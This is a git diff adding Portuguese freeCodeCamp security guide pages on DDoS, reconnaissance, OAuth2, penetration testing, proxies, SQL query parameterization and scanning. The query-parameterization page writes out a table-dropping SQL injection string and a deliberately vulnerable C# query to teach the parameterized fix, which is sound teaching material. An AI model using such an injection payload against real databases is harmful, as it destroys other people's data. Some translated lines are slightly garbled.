+### Protocolos de ataques
+
+Os ataques de protocolo incluem inundações de SYN, Ping of Death, ataques de pacotes fragmentados, DDoS de Smurf, etc. Esse tipo de ataque consome recursos reais do servidor e outros recursos, como firewalls e balanceadores de carga. A magnitude do ataque é medida em pacotes por segundo.
+
+*   **Inundação de DNS** - inundações de DNS são usadas para atacar a infra-estrutura e um aplicativo DNS para sobrecarregar um sistema de destino e consumir toda a largura de banda de rede disponível.
+    
+*   **SYN Flood** - O invasor envia solicitações de conexão TCP mais rapidamente do que a máquina de destino pode processá-las, causando saturação da rede. Os administradores podem ajustar as pilhas TCP para atenuar o efeito de inundações SYN. Para reduzir o efeito de inundações de SYN, você pode reduzir o tempo limite até que uma pilha libere a memória alocada para uma conexão ou elimine seletivamente conexões de entrada usando um firewall ou iptables.
+    
+*   **Ping of Death** - O atacante envia pacotes malformados ou superdimensionados usando um simples comando ping. O IP permite o envio de pacotes de 65,535 bytes, mas o envio de um pacote de ping com mais de 65.535 bytes viola o Internet Protocol e pode causar o estouro de memória no sistema de destino e, finalmente, travar o sistema. Para evitar ataques de Ping of Death e suas variantes, muitos sites bloqueiam mensagens de ping ICMP completamente em seus firewalls.
+    
+
+### Ataques de camada de aplicativo
+
+Ataques de camada de aplicativo incluem Slowloris, ataques DDoS de dia zero, ataques DDoS que visam vulnerabilidades do Apache, do Windows ou do OpenBSD e muito mais. Aqui o objetivo é travar o servidor web. A magnitude do ataque é medida em Solicitações por segundo.
+
+*   **Ataque à Aplicação** - Também chamado de Ataque à Camada 7, em que o invasor faz log-in excessivo, pesquisa de banco de dados ou solicitações de pesquisa para sobrecarregar o aplicativo. É realmente difícil detectar ataques de Camada 7 porque eles se assemelham ao tráfego legítimo do site.
+    
+*   **Slowloris** - O invasor envia um grande número de cabeçalhos HTTP para um servidor da Web segmentado, mas nunca conclui uma solicitação. O servidor de destino mantém cada uma dessas conexões falsas abertas e, eventualmente, transborda o conjunto máximo de conexões simultâneas e leva à negação de conexões adicionais de clientes legítimos.
+    
+*   **NTP Amplification** - O invasor explora servidores NTP (Network Time Protocol) de acesso público para sobrecarregar o servidor de destino com o tráfego UDP (User Datagram Protocol).
+    
+*   **Ataques DDoS de dia** zero - Uma vulnerabilidade de dia zero é uma falha de sistema ou aplicativo desconhecida anteriormente pelo fornecedor e que não foi corrigida nem corrigida. Estes são novos tipos de ataques que surgem dia a dia, por exemplo, explorando vulnerabilidades para as quais nenhum patch foi liberado.
+    
+
+### Como corrigir um ataque DDoS
+
+Existem algumas opções de proteção contra DDoS que você pode aplicar dependendo do tipo de ataque de DDoS.
+
+Sua proteção contra DDoS começa com a identificação e o fechamento de todas as possíveis vulnerabilidades do sistema operacional e do nível do aplicativo em seu sistema, fechando todas as portas possíveis, removendo o acesso desnecessário do sistema e ocultando seu servidor atrás de um proxy ou sistema CDN.
+
+Se você vir uma baixa magnitude do DDoS, poderá encontrar muitas soluções baseadas em firewall que podem ajudá-lo a filtrar o tráfego baseado em DDoS. Mas se você tem um alto volume de ataques DDoS como em gigabits ou até mais, então você deve ter a ajuda de um provedor de serviços de proteção DDoS que ofereça uma abordagem mais holística, pró-ativa e genuína.
+
+Você deve ter cuidado ao abordar e selecionar um provedor de serviços de proteção contra DDoS. Há vários provedores de serviços que desejam aproveitar sua situação. Se você informá-los de que está sob ataque de DDoS, eles começarão a oferecer uma variedade de serviços a custos excessivamente altos.
+
+Podemos sugerir uma solução simples e funcional que comece com uma pesquisa por um bom provedor de soluções DNS que seja flexível o suficiente para configurar os registros A e CNAME do seu site. Segundo, você precisará de um bom provedor de CDN que possa lidar com um grande tráfego de DDoS e fornecer a você um serviço de proteção contra DDoS como parte de seu pacote de CDN.
+
+Suponha que o endereço IP do seu servidor seja AAA.BBB.CCC.DDD. Então você deve fazer a seguinte configuração de DNS -
+
+*   Crie um registro A no arquivo de zona DNS como mostrado abaixo com um identificador de DNS, por exemplo, ARECORDID e mantenha-o em segredo no mundo externo.
+*   Agora, peça ao seu provedor CDN para vincular o identificador DNS criado a um URL, algo como cdn.someotherid.domain.com.
+*   Você usará o CDN URL cdn.someotherid.domain.com para criar dois registros CNAME, o primeiro a apontar para www e o segundo registro para apontar para @ como mostrado abaixo.
+
+Você pode obter ajuda do administrador do sistema para entender esses pontos e configurar seu DNS e CDN adequadamente. Finalmente, você terá a seguinte configuração no seu DNS.
+
+### Mais Informações
+
+*   [Compreender os ataques de negação de serviço](https://www.us-cert.gov/ncas/tips/ST04-015)
+*   [Visualização de ataques DDoS no mundo](http://www.digitalattackmap.com/#anim=1&color=0&country=ALL&list=0&time=17462&view=map "Visualização de ataques DDoS no mundo")
+*   [Artigo do Kotaku sobre o DDoS](https://kotaku.com/how-ddos-attacks-work-and-why-theyre-so-hard-to-stop-1676445620)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/footprinting-and-reconnaissance/index.md b/client/src/guide/portuguese/security/footprinting-and-reconnaissance/index.md
new file mode 100644
index 0000000000..d6deb73771
--- /dev/null
+++ b/client/src/guide/portuguese/security/footprinting-and-reconnaissance/index.md
@@ -0,0 +1,25 @@
+---
+title: Footprinting and Reconnaissance
+localeTitle: Pegada e Reconhecimento
+---
+## Pegada e Reconhecimento
+
+Pegada ou Reconhecimento é o processo de coletar informações sobre o alvo antes que um ataque seja realizado por um hacker. Em uma fase de pegada, o hacker tentará coletar o máximo de informações possíveis sobre o alvo, o que pode ser útil em um ataque. tal como:
+
+1.  Identificando o sistema operacional
+2.  Portas de varredura para detectar as abertas para exploração
+3.  As consultas WHOIS costumavam conhecer as informações do registrador de um serviço específico.
+4.  Rastreando a web para saber mais sobre o alvo.
+5.  Coleta de números de telefone, endereços de e-mail, informações sobre funcionários e outras informações privilegiadas.
+
+Em suma, a pegada é a primeira e mais importante fase do teste de penetração, sem a qual pode ser muito difícil realizar um hack.
+
+Para coletar informações, um hacker pode usar várias ferramentas e técnicas listadas abaixo.
+
+1.  Nslookup
+2.  Nmap
+3.  Sam Spade
+4.  Traceroute
+5.  NeoTrace e muitos mais.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/i2p/index.md b/client/src/guide/portuguese/security/i2p/index.md
new file mode 100644
index 0000000000..c74bde6e0d
--- /dev/null
+++ b/client/src/guide/portuguese/security/i2p/index.md
@@ -0,0 +1,13 @@
+---
+title: I2P
+localeTitle: I2P
+---
+## Projeto Invisível na Internet
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/security/i2p/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+O Invisible Internet Project (I2P) nasceu em 2003. Um grupo de hackers, desenvolvedores e arquitetos de software cujo objetivo principal era criar uma rede virtual privada, resistente a censura.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/index.md b/client/src/guide/portuguese/security/index.md
new file mode 100644
index 0000000000..caee45482b
--- /dev/null
+++ b/client/src/guide/portuguese/security/index.md
@@ -0,0 +1,21 @@
+---
+title: Security
+localeTitle: Segurança
+---
+## Segurança
+
+A Segurança da Informação (também chamada de "infosec" ou apenas "segurança") lida com a proteção e invasão de sistemas.
+
+Este é um espaço particularmente importante no momento, após as principais violações, como a [violação Equifax 2017](https://medium.freecodecamp.org/the-equifax-hack-and-how-to-protect-your-family-all-explained-in-5-minutes-a2b5187cb6c0) .
+
+Profissionais de segurança da informação são freqüentemente chamados de "pesquisadores de segurança", embora eles também sejam freqüentemente chamados de "hackers" para invadir sistemas.
+
+Existem "hackers de chapéu branco" (hackers éticos) que tentam descobrir novas vulnerabilidades e chamar a atenção das pessoas que mantêm esses sistemas, o que é chamado de "divulgação ética". Eles geralmente fazem isso por prestígio no campo, ou por "recompensas de bugs" que as empresas reservam para compensar as pessoas por ajudá-las a descobrir vulnerabilidades.
+
+Em um interessante hack no Parity (no blockchain da Ethereum), "white hack hackers" exploraram uma vulnerabilidade e drenaram todas as carteiras de dinheiro antes que um verdadeiro hacker pudesse explorar a mesma vulnerabilidade (sem devolver fundos): https: //medium.freecodecamp .org / a-hacker-stole-31m-de-ether-como-aconteceu-e-o-que-significa-ethereum-9e5dc29e33ce. Isso levou a uma perda de US $ 31 milhões, em vez de uma perda de mais de US $ 180 milhões.
+
+Há também "hackers black hat" que não divulgam as vulnerabilidades descobertas e, ao invés disso, os utilizam para criar exploits para atacar sistemas de pessoas, ou vender os exploits para o maior lance. Eles costumam fazer isso para roubar dados que podem ser resgatados ou apenas liberados para causar caos.
+
+Os pesquisadores de segurança usam uma grande variedade de métodos e ferramentas, que são discutidos nesta seção.
+
+Embora o hacking seja uma ameaça fundamental para proteger aplicativos, ele não é o único. Os desenvolvedores de aplicativos precisam equilibrar a experiência do usuário com os recursos de segurança. Alguns cyber breches são auto-infligidos devido a configurações de segurança complexas ou difíceis de entender. Quais recursos de segurança devem ser definidos por padrão? Quais recursos devem ser sem aparência e quais devem exigir o consentimento explícito do usuário?
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/oauth2/index.md b/client/src/guide/portuguese/security/oauth2/index.md
new file mode 100644
index 0000000000..2546e8478e
--- /dev/null
+++ b/client/src/guide/portuguese/security/oauth2/index.md
@@ -0,0 +1,182 @@
+---
+title: OAuth2 Protocol
+localeTitle: Protocolo OAuth2
+---
+## OAuth 2.0
+
+[OAuth 2.0](https://tools.ietf.org/html/rfc6749) é um protocolo de autorização padrão do setor, que permite que um aplicativo de terceiros tenha acesso limitado aos recursos em nome do proprietário do recurso (usuários do sistema)
+
+OAuth está sendo amplamente usado em muitas empresas de internet como Google, Facebook, Slack, etc.
+
+**Índice**
+
+*   Conhecimento básico
+*   Fluxo do Protocolo
+*   Tipos de concessão de autorização
+*   Referências
+
+### Conhecimento básico
+
+#### [Papéis](https://tools.ietf.org/html/rfc6749#section-1.1)
+
+*   **Proprietário do Recurso** : Pessoa que está usando o produto ou serviço (por exemplo: você é proprietário do recurso na sua Conta do Google)
+*   **Servidor de Recursos** : Servidor que hospeda dados protegidos de clientes (por exemplo: Gmail que hospeda seus emails)
+*   **Cliente** : Aplicativo solicitando acesso aos dados no servidor de recursos
+*   **Servidor de Autorização** : Servidor que lida com o pedido de autorização, emite o token de acesso ao cliente solicitante. Este servidor pode ser o mesmo que o servidor de recursos ou pode ser um servidor separado
+
+#### Fichas
+
+Existem dois tipos de tokens definidos no OAuth 2.0
+
+*   **[Token de Acesso](https://tools.ietf.org/html/rfc6749#section-1.4)** : Os tokens de acesso são a parte crítica do OAuth, pois permitem o acesso aos dados do usuário de qualquer aplicativo que contenha esse token. Este token tem um tempo de vida limitado definido pelo servidor de autorização.
+*   **[Atualizar token](https://tools.ietf.org/html/rfc6749#section-1.5)** : Este token é emitido como parte do token de acesso, já que o token de acesso tem vida útil limitada; às vezes, o aplicativo cliente precisa acessar dados do usuário por mais tempo (por exemplo, serviços de integração), nesse caso, o aplicativo cliente pode solicitar token de atualização. para renovar o token de acesso para obter um novo que precise reautorizar o usuário.
+
+#### [Access Token Scope](https://tools.ietf.org/html/rfc6749#section-3.3)
+
+O parâmetro escopo na solicitação de autorização por cliente permite que o aplicativo cliente especifique que tipo de recursos ou dados deseja acessar, os escopos disponíveis são determinados pelo servidor de autorização e, uma vez autorizados, os escopos solicitados são anexados ao token de acesso, o token de acesso limitou o acesso aos dados do usuário em vez do acesso total.
+
+### [Fluxo do Protocolo](https://tools.ietf.org/html/rfc6749#section-1.2)
+
+![Fluxo do protocolo OAuth2](https://assets.digitalocean.com/articles/oauth/abstract_flow.png)
+
+### Tipos de concessão de autorização
+
+OAuth2 definiu 4 tipos de concessões para obter tokens de acesso, dependendo da natureza do cliente.
+
+*   Código de autorização
+*   Fluxo Implícito
+*   Credenciais do proprietário do recurso
+*   Credenciais do cliente
+
+#### Concessão do código de autorização
+
+Natureza do cliente:
+
+O cliente que puder armazenar com segurança o segredo do cliente (normalmente, um servidor da Web) pode usar essa concessão para autorização. Isso também permite obter token de acesso de longa duração com a ajuda do token de atualização.
+
+Por exemplo: um aplicativo da Web solicita acesso às informações do usuário da Conta do Google
+
+Fluxo abstrato
+
+![Fluxo do Código de Autorização](http://kevinchalet.com/2016/07/13/creating-your-own-openid-connect-server-with-asos-choosing-the-right-flows/authorization-code-flow.png)
+
+Exemplo de código:
+
+pedido de autorização
+```
+GET /oauth2/authorize?response_type=code 
+ &client_id=client123&scope=profile 
+ &redirect_uri=https://client.com/callback HTTP/1.1 
+ Host: auth.server.com 
+```
+
+```
+HTTP/1.1 302 Found 
+ Location: https://client.com/callback#code=sb8s6doy9bsd9sd&state=abcde 
+```
+
+postar o código de autorização de recebimento, solicitar ao servidor de autorização com código,
+```
+POST /oauth2/token HTTP/1.1 
+ Host: auth.server.com 
+ Content-Type: application/x-www-form-urlencoded 
+ 
+ grant_type=authorization_code 
+ &code=sb8s6doy9bsd9sd 
+ &redirect_uri=https://client.com/callback 
+ &client_id=client123 
+ &client_secret=secret 
+ &scope=profile 
+```
+
+resposta
+```
+HTTP/1.1 200 OK 
+ Content-Type: application/json;charset=UTF-8 
+ Cache-Control: no-store 
+ Pragma: no-cache 
+ { 
+  "access_token":"gsi8d6fosb9d6fos6df", 
+  "token_type":"bearer", 
+  "expires_in":3600 
+ } 
+```
+
+#### Fluxo Implícito
+
+Natureza do cliente:
+
+Aplicativo cliente que está sendo executado no navegador, geralmente aplicativos frontend (por exemplo: SPA). Esta concessão não emite token de atualização.
+
+Por exemplo: um aplicativo de frontend javascript em execução no navegador
+
+Fluxo Abstrato:
+
+![Fluxo do Código de Autorização](http://kevinchalet.com/2016/07/13/creating-your-own-openid-connect-server-with-asos-choosing-the-right-flows/implicit-flow.png)
+
+Amostra de código:
+```
+GET /oauth2/authorize?response_type=token 
+ &client_id=client123 
+ &redirect_uri=https://client.com/callback HTTP/1.1 
+ Host: auth.server.com 
+```
+
+```
+HTTP/1.1 302 Found 
+ Location: https://client.com/callback#access_token=98y2b38&token_type=bearer&expires_in=3600&state=abcde 
+```
+
+#### Credenciais do proprietário do recurso
+
+Natureza do cliente:
+
+Nesse fluxo, o proprietário do recurso compartilha suas credenciais (a senha) com o cliente e depois com o servidor de autorização, portanto, essa concessão é usada quando sua confiança é absoluta entre o aplicativo cliente e o servidor de autorização. Portanto, esse fluxo não é permitido principalmente para aplicativos clientes de terceiros.
+
+Por exemplo: aplicativos móveis do Facebook usando esse fluxo para autorizar com o Facebook Server
+
+Fluxo Abstrato:
+
+![Credenciais do proprietário do recurso](http://kevinchalet.com/2016/07/13/creating-your-own-openid-connect-server-with-asos-choosing-the-right-flows/resource-owner-password-flow.png)
+
+Amostra de código:
+```
+POST /oauth2/token HTTP/1.1 
+ Host: auth.server.com 
+ Content-Type: application/x-www-form-urlencoded 
+ 
+ grant_type=password 
+ &username=john 
+ &password=abcde 
+```
+
+#### Fluxo de Credenciais do Cliente
+
+Natureza do cliente:
+
+Esse tipo de autorização é usado quando o próprio cliente é proprietário de um recurso (ou seja, o cliente deseja acessar seu limite de uso ou informações relacionadas a ele). Não há autorização do usuário final nesse fluxo.
+
+Por exemplo: aplicativo do cliente solicitando dados não do usuário de servidores do Google (por exemplo: fusos horários, mapas, etc)
+
+Fluxo Abstrato:
+
+![Credenciais do cliente](http://kevinchalet.com/2016/07/13/creating-your-own-openid-connect-server-with-asos-choosing-the-right-flows/client-credentials-flow.png)
+
+Amostra de código:
+```
+POST /oauth2/token HTTP/1.1 
+ Host: auth.server.com 
+ Content-Type: application/x-www-form-urlencoded 
+ 
+ grant_type=client_credentials 
+ &client_id=client123 
+ &client_secret=xyz123 
+```
+
+### Referências
+
+Para mais leitura, consulte
+
+*   [Rascunho do OAuth2](https://tools.ietf.org/html/rfc6749)
+*   [Entendendo o OAuth2](http://www.bubblecode.net/en/2016/01/22/understanding-oauth2/)
+*   [Criando seu próprio servidor de conexão openId](http://kevinchalet.com/2016/07/13/creating-your-own-openid-connect-server-with-asos-choosing-the-right-flows/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/open-whisper-and-signal/index.md b/client/src/guide/portuguese/security/open-whisper-and-signal/index.md
new file mode 100644
index 0000000000..6ce66ec412
--- /dev/null
+++ b/client/src/guide/portuguese/security/open-whisper-and-signal/index.md
@@ -0,0 +1,13 @@
+---
+title: Open Whisper Systems and Signal
+localeTitle: Sistemas e sinais abertos de sussurros
+---
+## Sistemas e sinais abertos de sussurros
+
+A Open Whisper Systems (abreviada como OWS) é uma organização de software que foi fundada pela Moxie Marlinspike em 2013. Seu foco principal é o desenvolvimento do Protocolo de Sinais. A organização é financiada por uma combinação de doações e subsídios, e todos os seus produtos são publicados como software livre e de código aberto.
+
+Também mantém um aplicativo de comunicação criptografada chamado Signal for Android and iOS. Ele usa a Internet para enviar mensagens de um para um e de grupo, que podem incluir arquivos, notas de voz, imagens e vídeos, além de fazer chamadas de voz e vídeo um-para-um.
+
+O Signal usa números móveis padrão como identificadores e usa criptografia de ponta a ponta para proteger todas as comunicações com outros usuários do Signal. Os aplicativos incluem mecanismos pelos quais os usuários podem verificar independentemente a identidade de seus correspondentes de mensagens e a integridade do canal de dados.
+
+Os clientes são publicados como software livre e de código aberto sob a licença GPLv3. O código do servidor é publicado sob a licença AGPLv3.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/packet-filtering/index.md b/client/src/guide/portuguese/security/packet-filtering/index.md
new file mode 100644
index 0000000000..9cdfb22d33
--- /dev/null
+++ b/client/src/guide/portuguese/security/packet-filtering/index.md
@@ -0,0 +1,15 @@
+---
+title: Packet Filtering
+localeTitle: Filtragem de Pacotes
+---
+## Filtragem de Pacotes
+
+Filtragem de pacotes é o processo de passar ou bloquear pacotes em uma interface de rede baseada em endereços, portas ou protocolos de origem e destino. O processo é usado em conjunto com o mangling de pacotes e a conversão de endereços de rede (NAT). A filtragem de pacotes geralmente faz parte de um programa de firewall para proteger uma rede local de invasões indesejadas.
+
+### Como conseguir a filtragem de pacotes
+
+Os firewalls da camada de rede definem conjuntos de regras de filtragem de pacotes, que fornecem mecanismos de segurança altamente eficientes. Em um firewall de software, a filtragem de pacotes é feita por um programa chamado filtro de pacotes. O filtro de pacotes examina o cabeçalho de cada pacote com base em um conjunto específico de regras e, com base nisso, decide impedi-lo de passar (chamado DROP) ou permitir que ele passe (chamado ACCEPT).
+
+### Métodos de Filtragem
+
+Existem três maneiras pelas quais um filtro de pacotes pode ser configurado, uma vez que o conjunto de regras de filtragem tenha sido definido. No primeiro método, o filtro aceita apenas os pacotes que, com certeza, são seguros, descartando todos os outros. Esse é o modo mais seguro, mas pode causar inconveniência se pacotes legítimos forem inadvertidamente descartados. No segundo método, o filtro descarta apenas os pacotes que é certo que são inseguros, aceitando todos os outros. Esse modo é o menos seguro, mas causa menos transtornos, principalmente na navegação casual na Web. No terceiro método, se o filtro encontrar um pacote para o qual suas regras não fornecem instruções, esse pacote pode ser colocado em quarentena, ou o usuário pode ser consultado especificamente sobre o que deve ser feito com ele. Isso pode ser inconveniente se fizer com que várias caixas de diálogo apareçam, por exemplo, durante a navegação na Web.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/penetration-testing/index.md b/client/src/guide/portuguese/security/penetration-testing/index.md
new file mode 100644
index 0000000000..c35d621eb8
--- /dev/null
+++ b/client/src/guide/portuguese/security/penetration-testing/index.md
@@ -0,0 +1,65 @@
+---
+title: Penetration Testing
+localeTitle: Teste de penetração
+---
+O Teste de penetração é um método que muitas empresas seguem para minimizar suas violações de segurança. Esta é uma maneira controlada de contratar um profissional que tentará hackear seu sistema e mostrar as lacunas que você deve corrigir. O teste de penetração pode, ocasionalmente, derrubar sistemas e fazer com que a empresa perca tempo de atividade, é uma prática recomendada para testes de penetração em uma versão de pré-produção do ambiente de produção.
+
+Antes de fazer um teste de penetração, é obrigatório ter um acordo que mencione explicitamente os seguintes parâmetros -
+
+*   qual será o tempo do teste de penetração,
+*   onde será a fonte de IP do ataque, e
+*   quais serão os campos de penetração do sistema.
+
+O teste de penetração é conduzido por hackers profissionais éticos que usam principalmente ferramentas comerciais de código aberto, ferramentas automatizadas e verificações manuais. Não há restrições; O objetivo mais importante aqui é descobrir tantas falhas de segurança quanto possível. Muitas grandes empresas oferecem recompensas para qualquer um que possa apontar vulnerabilidades de segurança em seus sistemas, através do que é chamado de [programas de recompensas de bugs](https://en.wikipedia.org/wiki/Bug_bounty_program) . O Google, por exemplo, oferecerá dezenas de milhares de dólares por meio de seu Programa de Recompensa de Vulnerabilidade.
+
+## Fases do Teste de Penetração
+
+Existem cinco fases principais de testes de penetração. Eles são:
+
+1.  **Reconhecimento**
+    *   É aqui que um testador de penetração reúne o máximo de informações sobre seus alvos em potencial. Alguns métodos usados ​​neste estágio são pesquisas do Google / Bing, pesquisas whois, varreduras Netcraft e engenharia social.
+2.  **Digitalização**
+    *   Uma vez que o testador de penetração tenha reunido todas as informações e decidido em qual (is) alvo (s) eles gostariam de atacar, eles precisam garantir que o (s) alvo (s) esteja ativo e verificando coisas como portas abertas, serviços ativos e quaisquer vulnerabilidades atuais que o sistema de destino está aberto.
+3.  **Exploração**
+    *   Depois que a verificação for concluída e as vulnerabilidades tiverem sido avaliadas, o testador de penetração poderá usar essas informações para descobrir seu vetor de ataque. Nessa fase, o testador de penetração procura uma exploração que use uma das vulnerabilidades encontradas no estágio anterior para obter acesso ao sistema de destino.
+4.  **Acesso Maintaing**
+    *   Essa fase é onde o testador de penetração garante que eles terão tempo suficiente para testar o sistema de destino. Eles podem tentar contornar qualquer contramedidas de detecção / prevenção de intrusão para concluir seus testes.
+5.  **Cobrindo faixas**
+    *   Depois que o ataque é concluído, o testador de pentração pode tomar medidas para ocultar sua intrusão e possivelmente deixar meios de acesso persistente para permitir uma prova de conceito para seu cliente.
+
+## Tipos de teste de penetração
+
+Nós temos cinco tipos de testes de penetração -
+
+1.  **Black Box** - Aqui, o hacker ético não tem nenhuma informação sobre a infraestrutura ou a rede da organização que ele está tentando penetrar. Nos testes de penetração de caixa preta, o hacker tenta encontrar as informações por seus próprios meios.
+    
+2.  **Caixa Cinza** - É um tipo de teste de penetração onde o hacker ético tem um conhecimento parcial da infraestrutura, como seu servidor de nomes de domínio.
+    
+3.  **Caixa Branca** - Nos testes de penetração de caixa branca, o hacker ético é fornecido com todas as informações necessárias sobre a infraestrutura e a rede da organização que ele precisa penetrar.
+    
+4.  **Teste de penetração externa** - Esse tipo de teste de penetração enfoca principalmente a infraestrutura de rede ou servidores e seu software operando sob a infraestrutura. Nesse caso, o hacker ético tenta o ataque usando redes públicas através da Internet. O hacker tenta invadir a infraestrutura da empresa atacando suas páginas da Web, servidores da Web, servidores DNS públicos etc.
+    
+5.  **Teste de Penetração Interna** - Neste tipo de teste de penetração, o hacker ético está dentro da rede da empresa e realiza seus testes a partir daí.
+    
+
+O teste de penetração também pode causar problemas, como mau funcionamento do sistema, falha do sistema ou perda de dados. Portanto, uma empresa deve assumir riscos calculados antes de prosseguir com os testes de penetração. O risco é calculado da seguinte forma e é um risco de gestão.
+
+**RISCO = Vulnerabilidade de Ameaça ×**
+
+## Exemplo
+
+Você tem um site de comércio eletrônico on-line que está em produção. Você quer fazer um teste de penetração antes de fazê-lo ao vivo. Aqui, você tem que pesar os prós e contras primeiro. Se você prosseguir com o teste de penetração, isso poderá causar a interrupção do serviço. Pelo contrário, se você não deseja realizar um teste de penetração, pode correr o risco de ter uma vulnerabilidade não corrigida que permanecerá como uma ameaça o tempo todo. Antes de fazer um teste de penetração, é recomendável que você descreva o escopo do projeto por escrito. Você deve ser claro sobre o que vai ser testado. Por exemplo -
+
+*   Sua empresa tem uma VPN ou qualquer outra técnica de acesso remoto e você deseja testar esse ponto específico.
+*   Seu aplicativo tem servidores da Web com bancos de dados, portanto, talvez você queira testá-lo quanto a ataques de injeção de SQL, que é um dos testes mais importantes em um servidor da Web. Além disso, você pode verificar se o seu servidor está imune a ataques DoS.
+
+## Dicas rápidas
+
+Antes de prosseguir com um teste de penetração, você deve manter os seguintes pontos em mente - Primeiro entenda seus requisitos e avalie todos os riscos.
+
+*   Contrate uma pessoa certificada para realizar o teste de penetração, porque eles são treinados para aplicar todos os métodos e técnicas possíveis para descobrir possíveis brechas em uma rede ou aplicativo da web.
+*   Sempre assine um contrato antes de fazer um teste de penetração.
+
+## Recursos
+
+[Teste de penetração](https://en.wikipedia.org/wiki/Penetration_test)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/proxies/index.md b/client/src/guide/portuguese/security/proxies/index.md
new file mode 100644
index 0000000000..7aaeb9be9f
--- /dev/null
+++ b/client/src/guide/portuguese/security/proxies/index.md
@@ -0,0 +1,27 @@
+---
+title: Proxies
+localeTitle: Proxies
+---
+## Proxies
+
+Proxies são servidores ou uma rede de computadores que atuam como intermediários entre um cliente e um servidor.
+
+Seus diferentes tipos de proxies incluem, mas não estão limitados a:
+
+*   Proxies Forward
+*   Proxies reversos
+*   Proxies Transparentes
+*   Proxies da Web
+
+Hoje em dia, os mais conhecidos são os proxies da web que atuam como intermediários entre o computador de um usuário e a Internet.
+
+As características comuns de tais proxies são:
+
+*   Para ocultar o endereço IP de um usuário fornecendo anonimato enquanto navega na web.
+*   Permitir que os usuários acessem sites com endereços IP bloqueados.
+
+#### Mais Informações:
+
+[Servidor Proxy pela Wikipedia](https://en.wikipedia.org/wiki/Proxy_server)
+
+[Servidor Proxy por WhatIs no TechTarget](http://whatis.techtarget.com/definition/proxy-server)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/query-parameterization/index.md b/client/src/guide/portuguese/security/query-parameterization/index.md
new file mode 100644
index 0000000000..0ce8cec6cf
--- /dev/null
+++ b/client/src/guide/portuguese/security/query-parameterization/index.md
@@ -0,0 +1,77 @@
+---
+title: Query Parameterization
+localeTitle: Parâmetro de Consulta
+---
+## Parâmetro de Consulta
+
+Um erro comum ao conectar seu programa a um banco de dados é aceitar a entrada de um usuário e aplicá-lo diretamente ao banco de dados sem antes verificá-lo. Esse é um hábito perigoso de se entrar, e você pode ouvir desenvolvedores mais experientes alertando outras pessoas para "limpar a entrada" ou "parametrizar as consultas".
+
+Vamos começar com um pequeno exemplo demonstrando o problema:
+
+_(os seguintes trechos são escritos em C # para o MySQL, mas o conceito se aplica a qualquer idioma e banco de dados)_
+
+### O problema
+
+```csharp
+public void RetrieveEmployeeInfo(string username) 
+ { 
+    using (var connection = new MySqlConnection("valid_connection_string")) 
+    { 
+        var query = "SELECT * FROM EMPLOYEES WHERE USERNAME = '" + username + "'"; 
+ 
+        using (var command = new MySqlCommand(query, connection)) 
+        { 
+            var reader = command.ExecuteReader(); 
+            while (reader.Read()) 
+            { 
+                // do something with the results of your query, like display the employee 
+            } 
+        } 
+    } 
+ } 
+```
+
+À primeira vista, isso pode parecer bastante inofensivo. Se o usuário digitar "JDOE" em seu programa e for passado para essa função, você acabará executando uma consulta como esta:
+
+```sql
+SELECT * FROM EMPLOYEES WHERE USERNAME = 'JDOE'; 
+```
+
+O problema se torna mais aparente quando você considera o que acontece se o usuário _não_ digitar o que você espera. E se eles `JDOE'; DROP TABLE EMPLOYEES; --` algo como `JDOE'; DROP TABLE EMPLOYEES; --` Sua string de "consulta" agora se parece com isso, que seleciona as informações dos funcionários e, em seguida, exclui toda a tabela EMPLOYEES!
+
+```sql
+SELECT * FROM EMPLOYEES WHERE USERNAME = 'JDOE'; DROP TABLE EMPLOYEES; --' 
+```
+
+### A solução
+
+Para evitar problemas como esse, podemos parametrizar nossas consultas. Vamos ver outro exemplo:
+
+```csharp
+public void RetrieveEmployeeInfo(string username) 
+ { 
+    using (var connection = new MySqlConnection("valid_connection_string")) 
+    { 
+        var query = "SELECT * FROM EMPLOYEES WHERE USERNAME = @username"; 
+ 
+        using (var command = new MySqlCommand(query, connection)) 
+        { 
+            command.Parameters.AddWithValue("username", username); 
+ 
+            var reader = command.ExecuteReader(); 
+            while (reader.Read()) 
+            { 
+                // do something with the results of your query, like display the employee 
+            } 
+        } 
+    } 
+ } 
+```
+
+Agora o que acontece se o usuário digitar `JDOE'; DROP TABLE EMPLOYEES; --` Nosso programa acaba executando uma consulta como esta e, não encontrando nenhum funcionário cujo nome de usuário realmente corresponda a essa entrada, simplesmente não retorna nenhum registro.
+
+```sql
+SELECT * FROM EMPLOYEES WHERE USERNAME = 'JDOE\'; DROP TABLE EMPLOYEES; --' 
+```
+
+Não importa qual idioma ou banco de dados você esteja usando, se você considerar a consulta do banco de dados usando a entrada do usuário, verifique a documentação para a maneira correta de parametrizar as consultas.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/scanning/index.md b/client/src/guide/portuguese/security/scanning/index.md
new file mode 100644
index 0000000000..b5e277b764
--- /dev/null
+++ b/client/src/guide/portuguese/security/scanning/index.md
@@ -0,0 +1,84 @@
+---
+title: Scanning
+localeTitle: Digitalização
+---
+# Digitalização
+
+## Introdução
+
+Digitalização em Rede refere-se a um conjunto de procedimentos para identificar hosts, publicações e serviços em uma rede.
+
+As atividades de varredura podem envolver a verificação de portas abertas em uma rede, captura de banner e criação de diagramas de rede.
+
+## Técnicas de Varredura
+
+Uma das maneiras mais comuns de verificar uma rede é uma técnica chamada de Varredura de Ping. Isso pode determinar os hosts ativos em um intervalo de endereço IP. Um exemplo muito simples disso é ir para a sua linha de comando e digitar `ping 8.8.8.8` . Isso enviará uma solicitação [ICMP](https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol) ECHO para um host, neste caso, será o DNS público do Google.
+
